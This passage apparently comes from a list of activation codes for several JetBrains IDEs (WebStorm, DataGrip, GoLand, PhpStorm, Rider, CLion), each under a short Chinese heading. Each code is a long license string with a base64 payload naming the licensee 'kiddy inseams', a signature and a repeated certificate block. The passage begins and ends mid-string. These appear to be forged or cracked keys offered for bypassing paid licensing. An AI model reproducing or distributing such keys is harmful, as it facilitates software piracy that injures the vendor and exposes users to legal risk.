WZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# Webstorm 专用

1
QA01VSISIH-eyJsaWNlbnNlSWQiOiJRQTAxVlNJU0lIIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IldTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUFNJIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQQ1dNUCIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUFdTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfV0sIm1ldGFkYXRhIjoiMDEyMDIyMDgwMVBTQU4wMDAwMDUiLCJoYXNoIjoiVFJJQUw6MTg0ODI4OTEzMCIsImdyYWNlUGVyaW9kRGF5cyI6NywiYXV0b1Byb2xvbmdhdGVkIjpmYWxzZSwiaXNBdXRvUHJvbG9uZ2F0ZWQiOmZhbHNlfQ==-PqVYTlv/yp1AaLCz/i/e//sf0n6LD6uvJTy7/jl9F2A3RJjjMvWCDeCx8tK8PZep5I+GosApeiQdzkv7aG/TfjJRiHzdF0PgJaATxwaf9hDQx7fWT2zALtrOqT89C0Qe/OsLKM9mSFm9y5ul4JW7MQSfCDMtm8B8fUQ5ZFu0nB3XcI4YnMPDjKGaifDUdY2B0u7k29CQ4JLnYxC8HL4644GG+T8F+mNkOoDDNTSE8LmcEKWXYKPzD+YEJ5flLyHc5OVtYDPF2MQ/wsbwMVf7l1O22pkr8jKdyHLzbtaeIXojlOI8fvqnXSSetFmdMa/eRC0kHHf42BZ7VQ8etd599g==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# DataGrip 专用

1
FJVUHLU3X1-eyJsaWNlbnNlSWQiOiJGSlZVSExVM1gxIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBEQiIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiREIiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOmZhbHNlfSx7ImNvZGUiOiJQU0kiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBXUyIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX1dLCJtZXRhZGF0YSI6IjAxMjAyMjA4MDFQU0FOMDAwMDA1IiwiaGFzaCI6IlRSSUFMOi0yNDc1NjQ2MTIiLCJncmFjZVBlcmlvZERheXMiOjcsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-IWA8NqxA1nOvfTGTVFX4PNAWRswj0hTsqntqWZcqcYFz/zIobEAYmHm0Lks82E0mPcNCzt0LPW6BfUZCI8f4r5E1nsonNS40bDv44qAcjBmQaLf5XxZLyoKRzl7YacDuqql+NY3tInFBX8Q4PQu56aVsS6DOZmeoO4fC66Qtwg2z+A+kvVpSlB3+1Fqww7SHZMuQbLlEOVSHqO2tf4bJVTIMH/OSMph5CpY4uJ8iv7yeBX+WQpcOy4tv1AZNEY9tIKI8nRVbnVnZaAf5R2ng1AduGCVSOaU1/ElLPReBvXTG6gZHtjKDHlAy2kq6JIH/CCeG/3ZkDLB0GzB29aSgHA==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# GoLand 专用

1
PSUYBOSE34-eyJsaWNlbnNlSWQiOiJQU1VZQk9TRTM0IiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBTSSIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUENXTVAiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IkdPIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUEdPIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQV1MiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9XSwibWV0YWRhdGEiOiIwMTIwMjIwODAxUFNBTjAwMDAwNSIsImhhc2giOiJUUklBTDotNTIzMzE4Njc5IiwiZ3JhY2VQZXJpb2REYXlzIjo3LCJhdXRvUHJvbG9uZ2F0ZWQiOmZhbHNlLCJpc0F1dG9Qcm9sb25nYXRlZCI6ZmFsc2V9-JWZKP0AJWKSXcl1Ep6poGhauD7GlLMbPVMompa2zVsDzjP2L82BvMo0RZTPYcGiLnP7YL7kHUNFrn2wJiNlXVwp9AnXUvVTspDqhf5MwZ/W0Aug0HpJB0BVSPM7KRL41wyN2DHGyvRJ/w4/s057IQEZWUUy2HUUM1E48WqezS7HlKQBVrrD+IFjHE2Xv4xaPt/KBFXTn+MwWBiYcKsIdDurNKjHdRwo/Gl0umRc8/CFMYK6nrgoWA13PAgHMZioQPc4DK2aVCbCDECpTGoMIsKl2jZJei+wPfOf9Ud9i0/95YEyoK8/XnkUBzsm19quFegTEVp3HhT/EMheCuvMmeQ==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# PhpStorm 专用

1
ZEW8I0GZC6-eyJsaWNlbnNlSWQiOiJaRVc4STBHWkM2IiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBTSSIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUENXTVAiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUFBTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQV1MiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9XSwibWV0YWRhdGEiOiIwMTIwMjIwODAxUFNBTjAwMDAwNSIsImhhc2giOiJUUklBTDo5NzM1MDQ0MzkiLCJncmFjZVBlcmlvZERheXMiOjcsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-UVh/hXrqvTl8syZGee3sWsipAUdbN7XBg2XpFkSNh+oGBGzwvsj2k5A3v2LGO6+46rDU/HdG14jHYnT1iDMum5K5I7aCVYOIcJcmSAViwNDLqvTcOjMOdDZ4XS3aDg/KeaX5PozDa+H/KgHdGL07nKCBuhopAesiGXZC0RYerwCnYX1DjG9b/02igSyCuIYfsCO8d3GL+/ESz+sI8FiXmyZB7N413SJDGnp9klF51Kz469YzWZNEIXp9zg3Wu/Vsq8zlW9mGCFmsyiu0btTkS5PZfxp5BebH8Ef5SvPP7SyLJ2Q0FqeCJ9ESXp6aNBW8lmTVY+R0ZpqgsBOwbkq2xg==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# Rider 专用

1
BZPI62LS1G-eyJsaWNlbnNlSWQiOiJCWlBJNjJMUzFHIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlJEIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUERCIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQU0kiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBXUyIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX1dLCJtZXRhZGF0YSI6IjAxMjAyMjA4MDFQU0FOMDAwMDA1IiwiaGFzaCI6IlRSSUFMOjQyNzgxMDUyNCIsImdyYWNlUGVyaW9kRGF5cyI6NywiYXV0b1Byb2xvbmdhdGVkIjpmYWxzZSwiaXNBdXRvUHJvbG9uZ2F0ZWQiOmZhbHNlfQ==-UKWNg2MnWS+FD5dcOs1tir8BY/JFKGs53MiZa661VbcoBmRv+hY8hHmr71Cq1r8QMSgwL7tBEN2Bs8jSB0L1bZiNARXCIYS4IgsCL9fvg42XBOFva96qgKh3ho0PBe/xPuMabl7QLBT9E1ezzNnkZZJpq12957UZv+nWGCKgLt46WLotxxfMB/nFxgGB9uU1uXyEW84gStBYnLRv7d3Zvfdo0ANFbPmCUIpQlRqQ91TIJtYdj9l2ZbhkfVP30S3FOi0sYRnjR6Sqg0yHnFHqLGr1jG/wKEFusZPkr1bHWQsSTL/JI/sXHDQikvMcChFiN3HI1UeXleiKOwbhg00pBw==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# CLion 专用

1
CFUC0974F2-eyJsaWNlbnNlSWQiOiJDRlVDMDk3NEYyIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBTSSIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUENXTVAiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IkNMIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUFNXIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp